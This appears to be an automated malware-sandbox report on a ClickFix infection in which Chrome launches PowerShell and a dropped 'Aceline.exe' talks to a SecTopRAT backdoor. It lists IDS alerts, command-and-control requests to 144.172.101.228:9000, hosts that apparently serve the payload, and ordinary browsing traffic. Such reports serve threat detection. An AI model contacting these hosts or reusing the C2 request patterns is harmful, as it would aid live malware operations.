Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.64.254:443 -> 192.168.2.5:49754 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1751939874.0000000007B1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-2476756634-1003_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32ure.dllMicr$$ source: powershell.exe, 00000009.00000002.1753801176.0000000008D60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1754036557.0000000008DFB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\l33tninja\source\repos\WindowsProject2\x64\Release\WindowsProject2.pdb source: Aceline.exe, 0000000A.00000003.1857693909.0000019A30F94000.00000002.00000001.00020000.00000000.sdmp, Aceline.exe, 0000000D.00000002.2111675186.0000026B2CAF5000.00000004.00000020.00020000.00000000.sdmp, Aceline.exe, 0000000D.00000003.2082001715.0000026B2CAB4000.00000002.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1754036557.0000000008E0E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\l33tninja\source\repos\WindowsProject2\x64\Release\WindowsProject2.pdb$$ source: Aceline.exe, 0000000A.00000003.1857693909.0000019A30F94000.00000002.00000001.00020000.00000000.sdmp, Aceline.exe, 0000000D.00000002.2111675186.0000026B2CAF5000.00000004.00000020.00020000.00000000.sdmp, Aceline.exe, 0000000D.00000003.2082001715.0000026B2CAB4000.00000002.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbTs source: powershell.exe, 00000009.00000002.1754036557.0000000008DFB000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 73MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2060839 - Severity 1 - ET EXPLOIT_KIT Observed ClickFix Domain (myvocabulary .com) in DNS Lookup : 192.168.2.5:52117 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2061956 - Severity 1 - ET EXPLOIT_KIT ClickFix Domain in DNS Lookup (clients .contology .com) : 192.168.2.5:59736 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2061956 - Severity 1 - ET EXPLOIT_KIT ClickFix Domain in DNS Lookup (clients .contology .com) : 192.168.2.5:57444 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060845 - Severity 1 - ET EXPLOIT_KIT Observed ClickFix Domain (myvocabulary .com) in TLS SNI : 192.168.2.5:49712 -> 54.175.154.40:443
Source: Network traffic	Suricata IDS: 2061957 - Severity 1 - ET EXPLOIT_KIT ClickFix Domain in TLS SNI (clients .contology .com) : 192.168.2.5:49713 -> 50.57.243.90:443
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49761 -> 144.172.101.228:9000
Source: Network traffic	Suricata IDS: 2061118 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M3 (GET) : 192.168.2.5:49761 -> 144.172.101.228:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49758 -> 144.172.101.228:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49759 -> 144.172.101.228:9000
Source: Network traffic	Suricata IDS: 2061118 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M3 (GET) : 192.168.2.5:49759 -> 144.172.101.228:9000
Source: Network traffic	Suricata IDS: 2061118 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M3 (GET) : 192.168.2.5:49758 -> 144.172.101.228:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49760 -> 144.172.101.228:9000
Source: Network traffic	Suricata IDS: 2061118 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M3 (GET) : 192.168.2.5:49760 -> 144.172.101.228:9000

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49761

Source: global traffic	HTTP traffic detected: GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=ni%3AasyncSettingsAudit&q=%7B%22settings%22%3A%22%5B%7B%5C%22name%5C%22%3A%5C%22setToken%5C%22%2C%5C%22value%5C%22%3A%5C%22b30b4e83068a50cbbd396642a2a67178%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22disableCookies%5C%22%2C%5C%22value%5C%22%3A%5C%22false%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22setEpsilonKey%5C%22%2C%5C%22value%5C%22%3A%5C%2227ef31915be8823c33720c04e0bd8cade118f5be%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableIPv6Ping%5C%22%2C%5C%22value%5C%22%3A%5C%22true%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableIgnorePageUrlHash%5C%22%2C%5C%22value%5C%22%3A%5C%22true%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableRetargeting%5C%
Source: global traffic	HTTP traffic detected: GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=ni%3AasyncSettingsAudit&q=%7B%22settings%22%3A%22%5B%7B%5C%22name%5C%22%3A%5C%22setToken%5C%22%2C%5C%22value%5C%22%3A%5C%22b30b4e83068a50cbbd396642a2a67178%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22disableCookies%5C%22%2C%5C%22value%5C%22%3A%5C%22false%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22setEpsilonKey%5C%22%2C%5C%22value%5C%22%3A%5C%2227ef31915be8823c33720c04e0bd8cade118f5be%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableIPv6Ping%5C%22%2C%5C%22value%5C%22%3A%5C%22true%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableIgnorePageUrlHash%5C%22%2C%5C%22value%5C%22%3A%5C%22true%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableRetargeting%5C%
Source: global traffic	HTTP traffic detected: GET /7m2yhx HTTP/1.1Host: psee.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /miranda/few HTTP/1.1Host: browngreencolors.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wmglb HTTP/1.1Host: 144.172.101.228:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 144.172.101.228:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 144.172.101.228:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 144.172.101.228:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 144.172.101.228:9000Connection: Keep-Alive

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49758 -> 144.172.101.228:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49759 -> 144.172.101.228:9000
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49751 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49750 -> 104.21.91.178:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197

Source: global traffic	HTTP traffic detected: GET /chrome-variations/seed?osname=win&channel=stable&milestone=134 HTTP/1.1host: clientservices.googleapis.comif-none-match: SMChYyMDI1MDMwNi0xODMwMDQuNDI5MDAwEgkIABADGIYBIAA=#qBr8j3G36+k=a-im: x-bm,gzipsec-fetch-site: nonesec-fetch-mode: no-corssec-fetch-dest: emptyuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept-encoding: identitypriority: u=4, i
Source: global traffic	HTTP traffic detected: GET /lexington-charter-bus HTTP/1.1host: gogocharters.comupgrade-insecure-requests: 1user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-site: nonesec-fetch-mode: navigatesec-fetch-user: ?1sec-fetch-dest: documentaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=0, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/busarrow.png HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /fonts_new_design/icomoon/icomoon.woff2 HTTP/1.1host: gogocharters.comorigin: https://gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: corssec-fetch-dest: fontreferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1
Source: global traffic	HTTP traffic detected: GET /fonts_new_design/Poppins/Poppins-Bold.woff2 HTTP/1.1host: gogocharters.comorigin: https://gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: corssec-fetch-dest: fontreferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1
Source: global traffic	HTTP traffic detected: GET /css_new_design/slick.min.css HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: text/css,/;q=0.1sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: stylereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=0
Source: global traffic	HTTP traffic detected: GET /css_new_design/qc.slider.css HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: text/css,/;q=0.1sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: stylereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=2
Source: global traffic	HTTP traffic detected: GET /employee/upload/city/1730298797gogo-lexington-logo.svg HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=2, i
Source: global traffic	HTTP traffic detected: GET /j/85148f45-208d-4e90-9861-30048671efb8.js HTTP/1.1host: j.6sc.cosec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: cross-sitesec-fetch-mode: no-corssec-fetch-dest: scriptsec-fetch-storage-access: activereferer: https://gogocharters.com/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1
Source: global traffic	HTTP traffic detected: GET /fonts_new_design/Poppins/Poppins-Regular.woff2 HTTP/1.1host: gogocharters.comorigin: https://gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: corssec-fetch-dest: fontreferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1
Source: global traffic	HTTP traffic detected: GET /css_new_design/media.css HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: text/css,/;q=0.1sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: stylereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=0
Source: global traffic	HTTP traffic detected: GET /fonts_new_design/Poppins/Poppins-SemiBold.woff2 HTTP/1.1host: gogocharters.comorigin: https://gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: corssec-fetch-dest: fontreferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1
Source: global traffic	HTTP traffic detected: GET /fonts_new_design/Poppins/Poppins-Medium.woff2 HTTP/1.1host: gogocharters.comorigin: https://gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: corssec-fetch-dest: fontreferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1
Source: global traffic	HTTP traffic detected: GET /fonts_new_design/Poppins/Poppins-Light.woff2 HTTP/1.1host: gogocharters.comorigin: https://gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: corssec-fetch-dest: fontreferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1
Source: global traffic	HTTP traffic detected: GET /css_new_design/style.css HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: text/css,/;q=0.1sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: stylereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=0
Source: global traffic	HTTP traffic detected: GET /css_new_design/bootstrap.min.css HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: text/css,/;q=0.1sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: stylereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=0
Source: global traffic	HTTP traffic detected: GET /img_new_design/banner_slideshow/gogo-charters-bus.jpg HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=2, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/banner_slideshow/gogo-minibus.jpg HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=2, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/banner_slideshow/charter-bus-restroom.jpg HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=2, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/banner_slideshow/charter-bus-seats.jpg HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=2, i
